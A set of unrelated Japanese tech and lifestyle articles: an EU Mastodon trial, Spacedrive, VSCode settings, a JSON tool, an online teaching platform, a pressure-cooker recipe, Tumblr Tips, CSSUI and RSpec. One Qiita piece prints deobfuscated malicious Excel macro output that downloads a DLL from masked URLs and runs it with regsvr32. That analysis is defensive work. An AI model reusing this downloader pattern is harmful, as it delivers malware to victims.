Twitterがどうなるかわからないから? EU当局、独自のSNSを立ち上げテスト
from https://www.gizmodo.jp/2022/05/mastodon-eu.html
ここで懐かしのマストドン、再浮上。
イーロン・マスク氏がTwitterを買収が決まった日、SNSサービスのMastodon(マストドン)は、新規ユーザーが3万人増えたことが明らかになったわけですが。
今週、欧州データ保護監察機関(EDPS)は、欧州の各種機関が住民と対話する手段として、EU Voiceという独自のマストドンサーバーをパブリックで試験運用開始したことを発表しました。さらに、Youtubeの代わりに、オープンソースのプラットフォームであるPeerTubeをベースにしたEU Videoも試験運用していると発表しました。これらのプラットフォームは、いわゆる「Feddiverse(フェディバース)」と称される現代のソーシャルプラットフォームに代わる無料で利用できるオープンソースの集合体です。ここには、今回のマストドンやPeerTubeのほかに、Pixelfed(FediverseでいうInstagram)やFunkwhale (FediverseでいうSpotify)のようなサービスも含まれます。
アメリカ企業ばっかりのSNSに危機感
EDPSが今回のプラットフォームを本格的に運用するかどうかがわかりませんが、このEDPSの動きは驚くようなことではありません。欧州当局はここ10年の間、アメリカのテック企業と対立してきましたし、欧州の議員たちは、アメリカのテック企業のプライバシー問題やコンテンツモデレーションのあり方について厳しく追求し続けています。
EDPSのWojciech Wiewiórowski氏の声明では「EU VoiceとEU Videoの試験運用開始によって、個人とそのプライバシー、データ保護の権利を優先する代替的なソーシャルメディアプラットフォームを目指します。このプラットフォームは広告非掲載で、プラットフォームを利用する個人をプロファイリングすることもありません。今回の措置は、利用者に、個人情報がどのように使われるかについて、選択肢と管理の手段を提供するものです」と述べています。
理論的にはとても良いように思えますよね。Twitterは広告だらけ、Youtubeの親会社のGoogleは常時プライバシーに関する悪夢を見せようとしてきますから。しかしながらEU VoiceやEU Videoを軌道に載せたければ、欧州委員会のTwitterの100万人以上のフォロワーの大多数をこちらに呼び込む必要があります。
イーロン・マスクのTwitter買収によってどう転ぶかわからないですし、Youtubeに依存しっぱなしでいるわけにもいきません。常に選択肢を複数用意していくことは大事ですね。
https://assets.media-platform.com/gizmodo/dist/images/2022/05/04/20220504eu-w960.jpg
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仮想分散ファイルシステム(VDFS)が搭載されたオープンソースのクロスプラットフォームファイルマネージャー・「Spacedrive」
from http://kachibito.net/useful-resource/spacedrive
Spacedrive
Spacedriveは仮想分散ファイルシステム(VDFS)が搭載されたオープンソースのクロスプラットフォームファイルマネージャーです。
Rustで書かれたVDFSにより、複数デバイスのファイルを1か所で管理できるようにし、ユーザーの持つ様々なデバイスのストレージ容量と処理能力を安全で直感的に使えるパーソナル分散型クラウドに統合する、というものだそうです。
VDFSとは様々なストレージレイヤー上で動作するように設計されたファイルシステムで、単一デバイスに限定されずに、多くのデバイスでコンテンツを操作しアクセスするための統一されたAPIを備えます。各デバイスのストレージの仮想インデックスを維持し、クライアント間でリアルタイムにデータベースを同期させることで実現されています。また、CAS(Content-Addressable Storage)を用いてファイルを一意に識別し、ストレージの場所に対する論理ファイルのパスを記録します。
What is a VDFS?を翻訳しました。VDFSに関しては2018年にHaoyuan Li氏によって論文が書かれています。
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ざっと見た感じクロスプラットオームでリアルタイム同期が可能なファイルマネージャー、という感じでしょうか。一貫したUIで管理可能で、サードパーティに個人情報等や金銭の支払いを与えることなく同期する事が出来る・・というもののようです。ベンダーロックインや検問、漏洩の心配も減るかもしれません。Spacedriveは現時点ではWindowsとLinuxのみの対応となっていますが、近日中にmacOS、iOS、watchOS、Androidなどに対応するそうで、対応次第Githubにリンクが追加されるそうです。
整理整頓が苦手な方や様々なデバイスを使うクリエイターなどには特にオススメだそうですが、スマホやタブレット等の容量問題でクラウドサービスに依存せざるを得ない方も少なくないかと思いますが、別途何かしらのマシンを持っていればストレージサービスのコストも無くなり、管理もしやすくなる、デバイス間のファイル転送の手間が無くなるなど色々な問題解決に貢献してくれるかもしれません。
既存のファイル同期とは異なる、ちょっと未来を感じる事が出来るアプリケーションですね。まだ開発段階にあり、実験的な機能もあるそうで今後の開発次第では機能が変更するかもしれないそうです。引き続き注目したいですね。ライセンスはGPLとの事です。
Spacedrive
http://kachibito.net/wp-content/uploads/2022/04/spacedrive01.jpg
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VSCodeおすすめ設定大公開!!おすすめ拡張機能も
from https://qiita.com/papi_tokei/items/c639dc7d1e0f5ad68a74
はじめに
皆さんVisual Studio Code(以下VSCode)使ってますか?
私はメインで使っているのですが、自分なりにしっくりくる設定や拡張機能がある程度揃ってきたので公開しちゃいます。
おすすめ設定だけではなく、おすすめの機能もできる限り紹介したいと思いますので、最後までぜひお付き合いください。
※プログラミング言語固有の設定の解説は軽めですのでご了承ください。
GIF画像が小さい場合は、クリックして頂けると拡大して表示が可能です
デフォルト機能編
Local History機能
Gitは非常に便利なので、皆さん使われていると思います。
Gitはコミット単位で履歴が管理できますが、保存単位で履歴が見れると嬉しいな、保存単位で復元できると嬉しいな、と思うことはないでしょうか。
私はVSCodeは自動保存をオフにして、手動で保存するので、保存単位で履歴が見れると嬉しいなと思うことがたまにあります。
上記のGIF画像を見て頂くとイメージがつかみやすいと思います。
タイムラインの部分にファイルごとの変更履歴が表示されており、選択すると現在のファイルとの差分が表示されます。
「前との比較」をクリックすると、直前の保存時との変更履歴を確認することができます。
また、行の追加だけではなく、削除の���歴も残るので、追加したり削除したりを繰り返すような場合、以前削除した行何だったかな、というときにも確認できるので便利ですね。
ターミナル複数表示
VSCodeはターミナルが統合されているので非常に便利なのですが、複数のターミナルを開きたいなーと思うことも多いです。
もちろん、複数のターミナルを開くことができます。
あまり頻度はないかもしれませんが、全画面をターミナルで埋めることもできます。
私はターミナルは大体2個使うことが多いので、下側にターミナルを2つ表示するので十分満足しています。
setting.jsonデフォルト設定
VSCodeの設定はsettings.jsonというファイルで管理できます。
setting.jsonの開き方については省略しますが、私の個人的におすすめな設定を記載します。
settings.json
{ "editor.minimap.enabled": false, // ミニマップを非表示にする "editor.renderControlCharacters": true, // 制御文字を表示する "editor.suggestSelection": "first", // サジェスト一覧の初期表示項目設定 "breadcrumbs.enabled": true, // ファイルのパンくずリストを表示する "files.insertFinalNewline": true, // ファイルの末尾を改行で終わらせる "editor.fontFamily": "'Fira Code', Hasklig, Consolas, 'Courier New', monospace", "editor.fontLigatures": true, // 合字を有効化 "editor.fontSize": 17, // フォントサイズを変更 "editor.renderLineHighlight": "all", // 選択行の行番号をハイライトする "editor.cursorBlinking": "smooth", // カーソルが滑らかに点滅するように "editor.cursorSmoothCaretAnimation": true, // カーソルの点滅をアニメーション表示する "editor.cursorStyle": "block", // カーソルの外観をブロックに変更 "files.autoGuessEncoding": true, // ファイルの自動エンコードを実施 "window.zoomLevel": 0, // 画面全体の表示サイズはデフォルト "editor.bracketPairColorization.enabled": true // 括弧の対応を色付ける }
上記にコメントを入れているので内容は大まかには理解頂けるかと思いますが、何点か補足します。
制御文字を表示(editor.renderControlCharacters)
少し前に以下の記事が話題になりました。
StackOverflowからのコピペをやめろ。今すぐにだ。
簡単に言うと制御文字が含まれる可能性があるので、安易にコピーペーストすると危険ですよ、ということです。
VSCodeの設定で制御文字の表示を有効化している場合としていない場合の違いは以下になります。
制御文字の表示が有効化されていない場合
制御文字の表示が有効化されている場合
有効化していると明らかに変な文字が表示されているのでわかりやすくなりますよね。
合字を有効化(editor.fontLigatures)
合字ってなんだ?と思われるかもしれません。
フォントは好みが分かれるところだと思いますが、個人的には気に入っているので有効化しています。
プログラミングにおいて比較演算子(!=)やアロー演算子(=>)などはよく使うかと思いますが、2文字使うので、理解するために2文字をパースする必要があります。
それを1文字で見える形で表示すれば、理解が早くなるんじゃないか、ということのようです。
実際の表示は以下のようになるのですが、もし気に入った人がいれば有効化してもいいと思います。
ただ、比較演算子(==)は逆にわかりにくくなる可能性もあるので注意ください。
カーソルのカスタマイズ
私は目が悪くて細かい字が見えないので、フォントサイズの変更もしていますが、カーソルの変更もしています。
設定変更すると以下のような感じのカーソルになるので、少し見やすくなります。
拡張機能編
皆さんお待ちかねの拡張機能の紹介です。
��は、行ってみましょうー。
Auto Close Tag, Auto Rename Tag
こちらはHTMLをコードを書くときに便利な拡張機能です。
実際に拡張機能ありでHTMLを書くと以下のようになります。
autoDocstring - Python Docstring Generator
Python結構書くんですが、Docstringのフォーマットは合わせたいですよね。
そんな時に便利なのが、この拡張機能です。
Code Spell Checker
私も何気なく変数名を英語で記載しているかと思いますが、スペルが間違っていることも多くあります。
後から気付いて変更したいけど、デプロイされているから変更しにくいなー、という経験はだれしもあるのではないでしょうか。
そんな時にこの拡張機能を入れると、スペルミスを指摘してくれます。
以下はvalueと書きたかったのが、valuになっているので指摘されている例です。
ちなみに、この拡張機能除外する単語も設定できるので、プロジェクト固有の単語などは除外することで、指摘されなくなります。
この辺も便利でいいですね。
Draw.io Integration
プロジェクトのDocディレクトリなどにMarkdownのファイルとDraw.ioのファイルがあることもあるかもしれません。
簡単な図などはDraw.ioで作ると簡単にきれいに作れるので便利ですよね。
詳細は公式のGIF画像がわかりやすいのでそちらを参照ください。
EditorConfig for VS Code
インデントサイズどうするのか、などはプロジェクトごとに決まっているかと思います。
例えば、Pythonのインデントを2にするのか4にするのか、などですね。
以下のファイルをプロジェクト直下に置いておくと、自動的にVSCodeの設定に反映されます。
.editorconfig
root = true [*] indent_style = space indent_size = 2 end_of_line = lf charset = utf-8 trim_trailing_whitespace = true insert_final_newline = true [*.md] trim_trailing_whitespace = false [*.json] indent_size = 4 [*.py] indent_size = 4
インデントは以下の部分で確認が可能です。
Error Lens
リンターなどを設定されている方も多いかと思います。
警告だったりエラーをもう少しわかりやすく表示したい、と思ったことはありませんか?
拡張機能を入れると以下のようにエディター内に警告やエラーが表示されるので、コードを書いているときにエラーに気づくことができるので便利です。
ESLint
JS系の開��をする人はとりあえず入れてください。
プロジェクト固有の設定などいろいろありますが、本記事では解説を省略します。
Excel Viewer
たまーにCSVファイルをVSCodeで開くことがあるのですが、もう少しきれいに表示してほしいな、と思うことはありませんか?
実はVSCodeでもCSVをきれいに表示することができます。
Git History
こちらはGit関係の拡張機能です。
ファイルごとの差分を確認したいときに便利です。
あるファイルがどのタイミングでどんな修正が入ったのか、を確認するときに主に使います。
以下のGIF画像を見てもらえるとイメージが付くかと思いますが、あるファイルの変更が含まれるコミットの一覧から一つコミットを選んで修正を確認することも、その時点と現在の差分を確認することもできます。
GitLens — Git supercharged
こちらもGit関係の拡張機能です。
あるファイルのこの行って誰が編集したんだっけ、だれに聞けばいいんだっけ?ということはないでしょうか。
私は結構ありました。
そんな時に以下のようにするとその行の最終の変更履歴を見ることができます。
(私しかコミットしてないので一人しか表示されてませんが、、、、)
indent-rainbow
Pythonなどはインデントが結構重要だったりするので、インデントが見やすいと嬉しいですよね。
以下の画像のようにインデントがカラフルに色分けされるので、見やすくて重宝しています。
Markdown All in One
Markdownをデフォルト機能で書くと、リストのエンターを押したときに自動的に次のリスト追加されてほしいな、タブキーでインデントしてほしいな、って思いませんか?
そういった細かいところに手が届くのがこの拡張機能です。
公式の解説がGIF付きで分かりやすいのでぜひ見て下さい。
Markdown Preview Enhanced
Markdownのデフォルトのプレビューは個人的にはあまり見やすいとは思ってません。
上記の拡張機能を入れることで、よりプレビューが見やすくなります。
デフォルトのプレビュー
拡張機能ありのプレビュー
ちなみに、PDFなどの変換も可能です。
Path Intellisense
JS系のインポートは相対パスのことが多いので、インポートするときにファイルパスを指定することが多くあるかと思います。
そういった場合に、ファイルパスへの補完が効くと嬉しいと思いませんか?
役に立つ場面は多いと思いますので、必須の拡張機能だと思ってます。
Prettier - Code formatter
有名なコードフォーマットツールですね。
速度面で遅いという話もありますが、なんだかんだ便利なので使ってます。
Project Manager
VSCodeで複数のプロジェクトを開くことは多いと思います。
そんな時に、複数のプロジェクトを簡単に開けたらな、と思うことはありませんか?
この拡張機能を使うとそれが簡単に実現できます。
Python, Pylance
Python書くのであればこの二つの拡張機能は入れましょう。
細かい設定の話は省略しますが、入れておいて損はないと思います。
SonarLint
コードのチェックをしてくれる拡張機能です。
SonarLintでは比較的簡易的なチェックしかしてくれませんが、ある程度は使えます。
SonarLintはSonarQubeの簡易版のような位置づけで、より多くのルールで検証したい場合は、SonarQubeの利用をお勧めします。
複数の言語に対応しており、バグやセキュリティ、コードの不吉なにおいなどを指摘してくれます。
Python static code analysis
インストール方法などは省略しますが、先ほどのコードを検査した結果は以下のようになります。
SonarLintで検出された結果以外にも、「パスワードを含んでそうなので危険ですよ!」というエラーも検知できていますね。
そのほかにもいろいろなルールがあり、よりコードの品質を高めるために、一度実行してもよいと思います。
TODO Highlight
TODOコメントをハイライト表示する拡張機能ですね。
入れると以下のようにハイライトされます。
Todo Tree
TODOコメントの一覧を表示することができる拡張機能です。
以下のような感じでプロジェクト全体のTODOコメントが一覧で見ることができます。
vscode-icons
ファイルのアイコンが見やすくなります。
公式のページにGIF画像があるので、そちらを見て頂くとわかりやすいかと思います。
拡張子ごとにアイコンが変わって表示されるのでとても見やすいです。
最後に
皆さんがご存じの拡張機能や設定はどのくらいあったでしょうか。
もし、おすすめの拡張機能などあればコメント欄で教えてください。
この記事がより良い開発の一助になれば幸いです。
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JSONのフォーマットやバリデート、ツリー表示、圧縮等が可能なWebアプリ・「JSON Formatter」
from http://kachibito.net/useful-resource/2022-json-formatter
JSON Formatter
JSON FormatterはJSONのフォーマットやバリデート、ツリー表示、圧縮等が可能なWebアプリです。
JSONのコードをCSVやXMLに変換、ダウンロード出来るようにしたりツリー表示で分かりやすくしたり、といった操作を処理してくれます。JSONを良く扱う方なら既にこの手のツール等は好んで使っているものがあると思いますが、まぁ選択肢の一つとして。
他にもJSON ViewerやJSON Editor、JSON Parser、JSON Minifierなども用意されているみたいですが機能は重複するものが多いみたいです。
JSON Formatter
http://kachibito.net/wp-content/uploads/2022/04/jsonformatter01.jpg
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怪しいOfficeファイルの調査に使えるツール
from https://qiita.com/masaomi346/items/c51c31748efd876698fe
C:\Users\masaomi\Downloads>xlmdeobfuscator --file sample.xls _ _______ |\ /|( \ ( ) ( \ / )| ( | () () | \ (_) / | | | || || | ) _ ( | | | |(_)| | / ( ) \ | | | | | | ( / \ )| (____/\| ) ( | |/ \|(_______/|/ \| ______ _______ _______ ______ _______ _______ _______ _____ __ _________ _______ _______ ( __ \ ( ____ \( ___ )( ___ \ ( ____ \|\ /|( ____ \( ____ \( ___ )\__ __/( ___ )( ____ ) | ( \ )| ( \/| ( ) || ( ) )| ( \/| ) ( || ( \/| ( \/| ( ) | ) ( | ( ) || ( )| | | ) || (__ | | | || (__/ / | (__ | | | || (_____ | | | (___ ) | | | | | | || (____)| | | | || __) | | | || __ ( | __) | | | |(_____ )| | | ___ | | | | | | || __) | | ) || ( | | | || ( \ \ | ( | | | | ) || | | ( ) | | | | | | || (\ ( | (__/ )| (____/\| (___) || )___) )| ) | (___) |/\____) || (____/\| ) ( | | | | (___) || ) \ \__ (______/ (_______/(_______)|/ \___/ |/ (_______)\_______)(_______/|/ \| )_( (_______)|/ \__/ XLMMacroDeobfuscator(v0.2.5) - https://github.com/DissectMalware/XLMMacroDeobfus cator File: C:\Users\masaomi\Downloads\sample.xls Unencrypted xls file [Loading Cells] auto_open: auto_open->'EGVEB'!$D$1 [Starting Deobfuscation] CELL:D5 , FullEvaluation , "False" CELL:D9 , FullEvaluation , CALL("urlmon","URLDownloadToFileA,JJCCBB" ,0,"hxxp://○○○.com/wp-content/Cw3aR6792f/","..\nhth.dll",0,0) CELL:D11 , FullEvaluation , IF(UJFD1<0,CALL("urlmon","URLDownloadToFi leA,JJCCBB",0,"h"&"tt"&"p:/"&"/○"&"○"&"○"&"○"&"○"&"○"&"○"&"○"&"○"&"○"&"○"&"○"&"○ "&"○"&"○"&"○"&"○.○"&"○"&"○/i"&"n"&"v"&"o"&"i"&"c"&"e/"&"m/","..\nhth.dll",0,0)) CELL:D13 , FullEvaluation , IF(UJFD2<0,CALL("urlmon","URLDownloadToFi leA,JJCCBB",0,"h"&"tt"&"p:/"&"/○"&"○"&"○"&"○"&"○"&"○"&"○"&"○"&"○"&"○"&"○"&"○"&"○ .○"&"○"&"○/d"&"o"&"w"&"n"&"l"&"o"&"a"&"d"&"s/8"&"d"&"R9"&"p"&"g"&"N"&"B"&"F"&"t" &"z/","..\nhth.dll",0,0)) CELL:D15 , FullEvaluation , IF(UJFD3<0,CALL("urlmon","URLDownloadToFi leA,JJCCBB",0,"h"&"t"&"tp"&"s:/"&"/○"&"○"&"○"&"○"&"○"&"○"&"○"&"○"&"○"&"○"&"○ "&"○"&"○"&"○"&"○.○"&"○"&"○/w"&"p-in"&"clu"&"de"&"s/v"&"2"&"q"&"F"&"A"&"l"&"M"&" Z"&"E"&"L"&"R"&"k"&"xb"&"z/","..\nhth.dll",0,0)) CELL:D17 , FullEvaluation , IF(UJFD4<0,CALL("urlmon","URLDownloadToFi leA,JJCCBB",0,"h"&"tt"&"p:/"&"/○"&"○"&"○"&"○"&"○"&"○.○"&"○"&"○"&"○"&"○"&"○"&"○"& "○.○"&"○"&"○/w"&"p-c"&"o"&"n"&"t"&"e"&"n"&"t/s"&"S"&"J"&"q"&"J/","..\nhth.dll",0 ,0)) CELL:D19 , FullEvaluation , IF(UJFD5<0,CALL("urlmon","URLDownloadToFi leA,JJCCBB",0,"h"&"tt"&"p:/"&"/○"&"○"&"○"&"○"&"○"&"○"&"○"&"○"&"○"&"○.○"&"○"&"○/w "&"p-i"&"n"&"cl"&"u"&"d"&"e"&"s/T"&"5"&"q"&"X"&"A"&"R"&"8"&"p"&"5/","..\nhth.dll ",0,0)) CELL:D23 , FullEvaluation , IF(UJFD6<0,CLOSE(0),) CELL:D25 , PartialEvaluation , =EXEC("C:\Windows\SysWow64\regsvr32.exe - s ..\nhth.dll") CELL:D29 , FullEvaluation , RETURN() Files: [END of Deobfuscation] time elapsed: 0.2964000701904297 ※URL及び文字列の一部を置き換えています。
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ビデオチャットによるリモート授業の為のOSSなオンラインティーチングプラットフォーム・「edrys」
from http://kachibito.net/useful-resource/edrys
edrys
edrysはビデオチャットによるリモート授業の為のOSSなオンラインティーチングプラットフォームです。DenoとVueをベースに設計されています。
コロナ禍でオンライン授業を経験した学生の方も少なくないと思いますが、そういった所謂リモート授業、オンラインティーチングの為のプラットフォームがオープンソースとして提供されています。
生徒用と教師用のダッシュボードが分かれていて、教師はクラスの管理(ルーム作成)や生徒アイコンをドラッグして入退室させたり。学生同士のチャットも可能となっています。
諸般の事情でリモート授業を中止し、登校⇒対面授業にシフトしている学校の方が多い気がしますが、コロナ禍でなくとも例えば不登校の子や障害のある子でも授業に参加できる、いわゆるインクルーシブデザインにもリモート授業システムは貢献出来そうですし、普及して欲しいなと思います。
UIもシンプルで分かりやすく、モジュール式なので拡張も可能です。MPL-2.0ライセンスの元、ソースコードが公開されています。
edrys
http://kachibito.net/wp-content/uploads/2022/03/sdrys01.jpg
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シロカの電気圧力鍋なら絶品スペアリブも簡単。デザイン性も抜群だった
from https://www.roomie.jp/2022/02/801513/
まるでお店で味わえるような“味が染み込んでいて、とろけるようなやわらかい肉料理”をおうちでも実現するには、それなりの労力が必要です。
火加減を調整しながら崩れないように長時間煮込んだり……、それだけでも面倒だと感じて避けてしまいがち。
いまは面倒な工程をすべて1台でまかなえる調理家電、「ほったらかし家電」が人気。そこで今回は、シロカの電気圧力鍋「おうちシェフPRO」を使ってみました。
とことん手間を省いた調理家電
ここ数年、“ほったらかし家電”の噂を耳にしていましたが、お試しの機会をいただきました。
シロカの「おうちシェフPRO」を使ってみて、「なるほど、これが自動調理革命か!」と今さらながら衝撃を受けたのが、年末年始のホームパーティでのこと。
外出自粛のなか週末になるとわらわらと我が家に集まるグルメな先輩や食いしん坊の後輩たちに手料理をふるまうのですが、ブロック肉でも煮込み料理でも、舌の肥えた面々は大満足の様子。「味が染み込んでて、やわらかい!!」と絶賛でした。
シロカの「おうちシェフPRO」の調理工程は、食材と調味料を鍋に入れて設定操作に数回ボタンを押すだけ。この手軽さで高評価を得られるのは「おうちシェフPRO」のおかげです。
いまや、大手家電メーカーから有名キッチンブランドまで、「自動調理鍋」「電気圧力鍋」とさまざまな名称でこの「ほったらかし家電」が発売されています。数えただけでも20弱の製品がありました。
「ほったらかし家電」とは何か。その名の通り、具材をすべて鍋に入れてスイッチを入れればカレーでも、煮物でも、スープでもほっておけばできてしまう魔法のようなキッチンツール。ウソみたいな本当の話なんです。
「ラクをしてはいけない」 「手間ひまかければ美味い」
そんな自分を苦しめるような呪縛からは今すぐに解き放たれてください。シロカの「おうちシェフPRO」は、いわばその呪縛から解き放ってくれる天の声です。
なぜ「味が染み込んで、やわらかくなる」のか
各メーカーの類似商品が競っているのは、だいたい「一台〇役」とか、「自動メニューの数」「調理の早さ」「使いやすさ」。それに加えてデザイン性や手入れのしやすさといったところでしょう。
シロカの「おうちシェフPRO」の機能性も負けていませんが、圧倒的にルックスがいい。結局のところ、自動メニューはそんなに多くても使うのは数個だろうし、“ほったらかし”なのだから調理の早さもそんなに気にならないという点において、個人的に圧勝です。
シロカの「おうちシェフ」は、「スマートプレッシャー技術」という独自技術で圧力を一定にキープすることができます。これによってやわらかくて、味が染み込んでいるに加えて、栄養分を逃さないという特徴があります。
圧力鍋の仕組みは、鍋を密閉し圧力をかけることで沸点が上がるので(山頂でお湯を沸かすのと逆の原理)、高い温度で火入れをすることができます。
普通の鍋なら煮込んで100度以上になると液体は気体になってしまいますが、圧力をかければ100度以上の温度を保てるので短時間で煮崩れすることなく、やわらかく調理ができるというわけです。
圧力鍋でも電力圧力鍋でも、鍋内の圧力がいっぱいになると排気口からスチームを噴出し減圧を行うのですが、そのたびに鍋内の圧力が乱高下することになります。
前述の「圧力を一定にキープする」というのは、圧力が高い状態をキープすることができるのです。
つまり、高圧力の状態を保つことで、味をより染み込みやすく、よりやわらかく調理できるというわけ。
これは、他社製品にはない「おうちシェフPRO」独自のスペックで、ホームパーティで「やわらかくて、味が染み込んでいる!」と絶賛した理由も頷けます。
“やわトロ”のスペアリブをつくってみよう!
そのときに実際にチャレンジした料理ですが、今回は「おうちシェフPRO」を買うとついてくるレシピ本から「スペアリブのやわらか煮」に挑戦してみました。
本当に食材と調味料を鍋入れて、スイッチを押すだけなのでとても簡単です。
▼材料
スペアリブ:6本
サラダ油:大さじ1/2
玉ねぎ:1/4個
【A】
すりおろしにんにく:小さじ1/2
すりおろししょうが:小さじ1/2
赤ワイン:50ml
水:50ml
しょうゆ:大さじ2
はちみつ:おおさじ2
▼つくり方
1. 鍋に油をひいて、本体にセットします。このとき〈温度調理・炒め〉モードを選び鍋を温めておきます(「おうちシェフPRO」では「炒め」もできます!)。
2. 設定温度の200度になったら、スペアリブに焼き色がつくくらいまで炒めていきます。炒め終わったら取消/保温ボタンを押します。
3. ここからはあっという間です!【A】の調味料を合わせていくだけ。まずはにんにくとしょうがのすりおろし。
4. 次は、たまねぎのすりおろし。ちなみに、このおろし器は石見焼きの窯元・元重製陶所のもの。おろし部分のセラミックの破片がとても鋭く、楽におろせるのでおすすめです。
5. あとは【A】をすべて鍋に入れて、モード選択をするだけ。今回は〈おすすめ4〉に合わせて、スタートボタンを押して53分待つだけ。
6. 最後にマッシュポテトとブロッコリーを添えて、しっかりと味が染み込んだやわとろスペアリブの完成です!
定番家電のなかに「電子圧力鍋」枠を加えてほしい
冷蔵庫、電子レンジ、炊飯器、トースター……と多くの家庭の台所は、すでにキッチン家電であふれていると思います。もうこれ以上ごちゃごちゃさせたくないというのは本音だと思います。
でも、そこに「電気圧力鍋」というポジションを確保したいと思ったのは、シロカの「おうちシェフPRO」を使ってみた上での実感。だって「味が染み込んでて、やわらかい」が食材を入れて、ほったらかしでできてしまうのだから。
つい最近までは、電子ケトルなんてモノはなかったのに、今やどのキッチンにも当たり前のように置いてあります。今後、電子ケトルのようにどの家庭にも当たり前のように置かれるポテンシャルが、電気圧力鍋にはあると思います。
執筆・撮影: 山田卓立 /Source: Amazon
ROOMIEより転載(2022.2.15公開記事)
https://media.loom.media-platform.com/dist/2022/02/24/d6962cd1-bdd1-47c1-b022-7f2a0781f5d3-w1280.jpg
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Tumblr、ブロガーが小遣い稼ぎできるTip Jar機能を開始
from https://jp.techcrunch.com/2022/02/10/2022-02-09-tumblr-tips-tip-jar-monetization/
Tumblr(タンブラー)は米国時間2月9日、収益化機能で2度目の試みを開始する。米国で展開が始まり、そして間もなく全世界で利用できるようになるTumblr Tipsでは、ブロガーはサポーターから1回限りの支払いを受け取ることができる。
Tumblrは、こうしたチップから利益を得ることはないが、通常のクレジットカード手数料(2.9%+ 0.30ドル[約35円])が適用される。チップ機能はウェブ、iOS、Androidで利用できるものの、モバイルでのチップ促進はApple(アップル)とGoogle(グーグル)の内部課金システムに依存しないため、クリエーターが手数料によって余分に30%を失うことはない、とTumblrは説明した。
ユーザーは、クリエイターにチップを渡す際、メモを添えることができる。匿名でのチップも可能だが、その場合、メッセージを残すことはできない。チップは1回につき最大100ドル(約1万1500円)だ。
Tip Jarのようなこの機能は、Tumblrが2021年秋に開始したPost+に続くものだ。Post+ではユーザーは月額料金を支払って公開限定の投稿にアクセスできるようになったが、Post+はプラットフォーム上で大歓迎されたわけではなかった。Tumblrの人気クリエイターの多くは、外部のPatreonやKo-Fiアカウントにリンクしてコンテンツを収益化しているにもかかわらず、Tumblrに収益化機能を搭載するというアイデアにユーザーは反発した。Tumblrがユーザーにファンフィクションの収益化を促すことの合法性を心配する声もあれば、Post+のベータ版ではクリエイターが購読しているユーザーをブロックすることができず、安全性に問題がある可能性があると指摘する声もあった。Post+機能のテストに協力したあるブロガーは、殺害脅迫の標的にまでされ、Tumblrが介入して標的型攻撃を非難する事態になった。
関連記事
・TumblrがZ世代のクリエイターのためのサブスクサービスPost+を開始
・ファンの楽園に異変、Tumblrのベータサブスクリプション機能にユーザーが猛反発
このブロガーKaijunoは7月に「私はコンテンツにお金を払うオプションを提供することで医療費を払おうとしていましたが、TumblrがPost+を事前に発表せず、数人にしか提供しなかったため、私は非常に腹を立てているユーザーの矢面に立たされ、生贄のようになったと感じました」とTechCrunchに語った。「ユーザーはTumblrのあらゆる種類の変更を嫌うので、何らかの反発があることはわかっていましたが、反発の矛先はスタッフに向けられ、ベータテスターはそのほとんどから免れるだろうと考えていました」。
最初のPost+の発表後、一部のTumblrユーザーはTechCrunchに、Post+のようなサブスクリプション機能よりも、有料化したいコンテンツを作成した場合にのみ機能するTip Jar機能の方を好むと語った。当時、元Tumblr社員もTechCrunchに、Post+になった機能は最初はTip Jarとしてスタートしたと語っている。この情報源の人物は、コミュニティと直接仕事をしないTumblrの上層部が、このプロジェクトを有料のサブスクリプション製品を作る方へと方向転換させたと主張した。
つまり、Tumblrはクリエイターのフィードバックを受けて、最終的にTumblr Tipsを導入したようだ。しかし、Post+がベータ版として開始して以降、どの程度の成功を収めたかは不明だ。
「数字は開示しませんが、オープンベータ版ではより幅広いオーディエンスに扉を開放し、特に海外のクリエイターから多くの知見を得ました。新たに獲得したこうした知見は、2022年後半の本格的な展開に向けた準備に役立ちます」とTumblrのサブスクリプション製品責任者Bohdan Kit(ボフダン・キット)氏はTechCrunchに語った。
Tumblr Tipsは、Post+を補完する機能となることが意図されていて、Post+に取って代わるものではない。しかし、どちらかといえば、チップ機能はクリエイターとそのファンを購読サービスに取り込むのに役立つかもしれない。
Tumblrは2018年に重大なポルノ禁止令を出して以来、ユーザーベースの拡大に苦戦しているが、現在はTumblrがユーザーの48%を占めるとするZ世代向けのプラットフォームとして自らを宣伝している。今でもこのプラットフォームはミレニアル世代のノスタルジアの源であり続けている。基本的に他のすべての主要プラットフォームにはないものがTumblrにあるだろうか。エンゲージメントを最大化するためのアルゴリズムでシャッフルされていない逆時系列での投稿は、些細なものだろう。
画像クレジット:TechCrunch
[原文へ]
(文:Amanda Silberling、翻訳:Nariko Mizoguchi)
https://jp.techcrunch.com/wp-content/uploads/2022/02/Tumblr.png
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タブやスライドメニュー、アコーディオンなどJavaScriptを使わずCSSのみで実装できるインタラクティブUIコンポーネントのライブラリ・「CSSUI」
from http://kachibito.net/useful-resource/cssui
CSSUI
CSSUIはタブやスライドメニュー、アコーディオンなどJavaScriptを使わずCSSのみで実装できるインタラクティブUIコンポーネントのライブラリです。
タブ、ドロップダウン、モーダル、スライドアウトメニュー、アコーディオン、ツールチップなど、ご存じのようにこれらのUIは現在ならさほど複雑なものでなければCSSのみで実装可能ですが、こういったJS不要のUIコンポーネントをまとめて管理できる、というライブラリになります。
コンポーネントのスタイルはCSS変数で制御されており命名もわかりやすく設定されています。またCSSもモジュール形式になっているので必要なものだけ読み込めば済みますし、自身でUIコンポーネントを追加することも可能です。今まであまり考えませんでしたが、個人的にもパフォーマンスのためにCSSのみで実装する事が大半になってきたので一元化すると捗るりますね。暇を見て作ろうと思います。本CSSライブラリのライセンスはMITとなっています。
CSSUI
http://kachibito.net/wp-content/uploads/2022/02/cssui01.jpg
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RSpecでit / example / specifyはどのように使い分けるのか?〜日本語で書くならexampleって本当?〜
from https://qiita.com/jnchito/items/8766405c06690cfcb32b
はじめに
最近ときどき「RSpecでit/example/specifyをどのように使い分けたら良いのか」という話題を見かけるので個人的な私見を書いてみます。
使い分けに何か決まりはあるのか? → 技術上の決まりは何もありません
it/example/specifyは技術的にはまったく同じメソッドです。なので、itをexampleやspecifyに置き換えても問題なく動きます。
# itを使う it 'adds numbers' do expect(1 + 1).to eq 2 end # itの代わりにexampleを使う example 'adds numbers' do expect(1 + 1).to eq 2 end # itの代わりにspecifyを使う specify 'adds numbers' do expect(1 + 1).to eq 2 end
日本語と英語で使い分けが必要、なんてこともありません。
# itを使う it '数値を加算する' do expect(1 + 1).to eq 2 end # itの代わりにexampleを使う example '数値を加算する' do expect(1 + 1).to eq 2 end # itの代わりにspecifyを使う specify '数値を加算する' do expect(1 + 1).to eq 2 end
Q. じゃあなんで同じメソッドが3つもあるの?
